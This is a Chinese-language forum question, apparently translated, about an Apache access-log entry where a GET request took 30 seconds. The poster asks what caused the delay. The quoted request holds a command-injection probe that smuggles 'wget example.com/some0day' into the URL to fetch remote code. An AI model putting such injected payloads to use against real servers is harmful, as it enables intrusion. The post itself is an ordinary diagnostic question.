![什么原因导致 Apache 花费 30 秒来处理通常只需不到 1 秒的请求?](https://linux22.com/image/638431/%E4%BB%80%E4%B9%88%E5%8E%9F%E5%9B%A0%E5%AF%BC%E8%87%B4%20Apache%20%E8%8A%B1%E8%B4%B9%2030%20%E7%A7%92%E6%9D%A5%E5%A4%84%E7%90%86%E9%80%9A%E5%B8%B8%E5%8F%AA%E9%9C%80%E4%B8%8D%E5%88%B0%201%20%E7%A7%92%E7%9A%84%E8%AF%B7%E6%B1%82%EF%BC%9F.png)
我正在检查我的 Apache 访问日志并发现了这一行:
%T Method Request Protocol Status %I %b %O User-Agent
30 GET /?x0a/x04/x0a/x02/x06/x08/x09/dns;wget%20example.com/some0day; HTTP/1.0 200 176 11593 8000 SomeBot
该请求不会在服务器繁忙时发生。此外,这种缓慢并没有出现在我的数据库慢查询日志中。这只是一次性事件。
由于这是 GET 查询,我想知道为什么它会导致这样的服务器延迟。输出大小%b
表明我的 Web 应用程序已正常处理它,并且应用程序日志中没有错误表明相反的情况。但是,当它发送回客户端时,输出似乎被截断,因为%O
小于%b
。
我知道这可能是一种攻击。但我想知道是什么原因导致 Apache 花费这么长时间来处理请求。